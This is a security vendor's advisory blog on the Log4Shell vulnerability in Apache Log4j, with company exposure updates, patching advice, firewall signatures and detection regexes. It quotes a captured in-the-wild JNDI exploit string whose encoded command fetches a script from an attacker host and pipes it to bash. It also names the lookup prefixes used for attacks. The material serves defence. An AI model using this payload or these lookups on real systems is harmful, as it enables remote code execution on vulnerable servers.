Note: Blumira is not impacted by this vulnerability; our sensors do not utilize Java or Log4j at all, nor does our application infrastructure.
Update 12/14 @ 9 AM ET: We discovered yesterday around 4PM ET that while Blumira’s application and ingestion were not impacted, one module was: the Elastic Logstash module. We confirmed that the RCE did not impact the version we were running, but it could have been vulnerable to DoS and resource exhaustion within the module.
We patched, tested, and deployed the fixed version (1.2.0) by 5:45PM and notified all impacted customers of the vulnerability and fix. This amounted to updating ~1% of the sensors in use across the Blumira platform that had this version of Logstash. There was no evidence of exploitation within the organizations as none of these services were internet-facing.
This finding further emphasizes the ubiquitous nature of the Log4j vulnerability and the importance of due diligence. As a security company, we believe it is our duty to lead by example and be transparent about our own security practices.
Update 12/20 @ 9 AM ET: Updated to reflect our recommendation to update to Log4j 2.17.0 due to vulnerabilities in prior versions.
A remote code execution (RCE) zero-day vulnerability (CVE-2021-44228) was discovered in Apache Log4j, a widely-used Java logging library, and enables threat actors to take full control of servers without authentication.
The vulnerability was publicly disclosed via GitHub on December 9, 2021. Versions 2.0 and 2.14.1 of Apache Log4j have been impacted. Java Development Kit (JDK) versions 6u211, 7u201, 8u191 and 11.0.1 are not affected, according to LunaSec.
LunaSec has put out a great blog post detailing how this vulnerability has evolved over the last day, which is worth a read.
Log4j log output allows for the inclusion of variables that make Java logging more robust and verbose for local environments. This was added for “convenience,” as the originating pull request indicates from 2013, when this vulnerability was added.
However, this also enables attackers to call external Java libraries via ${jdni:ldap:// and ${jndi:ldaps:// opening up the opportunity to perform shell dropping without much additional effort. Additionally, threat actors can leverage ${jdni:rmi to execute commands within the actual environment to deploy the RCE attack and drop shells.
Minecraft was the first application known to be affected by this vulnerability, but due to the ubiquity of the Java logging library, it won’t be the last. Cloud applications such as Steam and Apple iCloud have already proven to be vulnerable.
Threat actors have already exploited this zero-day in the wild, according to CERT New Zealand.
Log4j is an incredibly common Java logging utility that is found in a large portion of Java applications. Because of the nature of this vulnerability, we expect this to persist in environments for months to years, similar to Shellshock. To successfully execute an attack, a threat actor only needs to control a string that is logged out by a Java application that uses Log4j. No authentication is required to take advantage of this vulnerability.
Right now we are seeing attackers start to leverage the User Agent, URI Paths, and field POSTs largely as attack vectors into environments but expect this to evolve over time. Due to the ease of exploitation, we expect that these attacks will be added to a part of the normal offensive toolkit and therefore should be remediated as soon as possible.
We expect threat actors to use this vulnerability as a new entry point to test whether they can access an environment. Through scanning, it is relatively easy for an attacker to drop the exploit in many different areas. Below is an example of an actual scan and exploit that we are now seeing land across environments contained in the User Agent of a request. This is derived from an already existing JNDI Exploit kit, which is now utilizing this new JNDI entry point via Log4j https://github.com/feihong-cs/JNDIExploit (now unavailable).
${jndi:ldap://45(.)155(.)205(.)233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMC4zNy4xMzcuMzM6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMjAuMzcuMTM3LjMzOjgwKXxiYXNo}
At a high level, here are some takeaways regarding the severity of this zero-day:
You can determine whether you were impacted by looking in your log files for services that use the affected Log4j versions (between versions 2.0 and 2.14.1). If those log files contain user-controlled strings (for example, Jndi:ldap), then they could be impacted.
We’ve also developed a vulnerability scanner to determine whether your systems are impacted, which is on GitHub.
However, all Log4j users should immediately upgrade to Log4j-2.15.0-rc2 Log4j 2.17.0.
To mitigate the vulnerability, users should apply ‐Dlog4j2.formatMsgNoLookups=True to the JVM command for starting the application.
It is important to note that you likely utilize Log4j across a large number of your toolsets and are unaware of it. Over the coming days you will see vendors quickly release patches and they must be applied as soon as possible. However some applications will either never be patched or will just be missed through the nature of scope. In those situations you will want to ensure that you are blocking potentially dangerous traffic through proper segmentation.
If you have a firewall that can perform inspection and blocking based off of the User Agent and request path, you can potentially mitigate this attack.
For example, in Palo Alto you can create a custom Vulnerability Signature > Signatures > Add > Transaction > Add And Condition. In the Condition, change Operator to Pattern Match, Context of http-req-headers, and modify Pattern to be \$\{jdni:(ldap|rmi|dns|nis|iiop|corba|nds|http) and block this custom Vulnerability signature to ensure no exploitation can occur.
These attacks are largely being inserted into the User Agent by scan and exploit kits right now but can also occur through any open fields that could be logged out, e.g., Usernames in login fields or Paths in the actual requests.
Update 12/14 @ 9 AM ET: We discovered a technique that could impact vulnerable services even if not listening to a service in which localhost has access. You should also patch all non-exposed services, as well.
To detect exploits of CVE-2021-44228 in the wild, look out for the following Indicators of Compromise, which we’ve published on GitHub.
The good news is that Log4Shell is relatively easy to detect with string-based detection (see below):
Iv’e created Gist with exploitation detection ideas and rules
I’ll update this gist frequently#log4j #log4jrce CVE-2021-44228https://t.co/vlAR6aFbUl pic.twitter.com/E0K7b9vNck
— Florian Roth ⚡️ (@cyb3rops) December 10, 2021
It is also possible to detect through outbound lightweight directory access protocol (LDAP), although we are seeing random ports being applied to attacks in the wild which may mitigate this. If you can do app-specific outbound detection, you may have better fidelity in the detection effort.
Additionally as we have seen patterns of use from the Exploit Kit https://github.com/feihong-cs/JNDIExploit you can perform pattern detection within User Agent and attacker-manipulated fields with (Basic\/(DnsLog|Command|ReverseShell|Tomcat|Spring|Weblogic|Jetty|Websphere|Spring)|Deserialization\/|TomcatBypass|GroovyBypass|WebsphereBypass)
You can also apply an unofficial patch, Log4Patch, created by AWS security engineer Volker Simonis, that injects a Java agent into a running JVM process.
At Blumira we’ve developed a global search for exploit attempts. The search tool uses web server logs (Apache|Nginx|IIS) to look for exploit attempts in the User Agent String, which is used by one of the POCs. Blumira customers can access this in the customer portal.
Non-Blumira customers with SSH access to a Linux server can enter this search into their own tools using this logic: https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b#log4j-rce-exploitation-detection
Blumira’s cloud SIEM detects and alerts you about suspicious behavior in your environment so that you can stop an incident early enough to prevent damage. Each finding we send is accompanied with a security playbook, giving you clear recommendations on how to remediate an attack. Our support team of security analysts is always available to answer questions on how to interpret a finding, or for other security help.
Blumira’s free trial is easy to deploy; IT and security teams can start seeing immediate security value for their organizations.
To learn more about Log4Shell, watch our recorded livestream: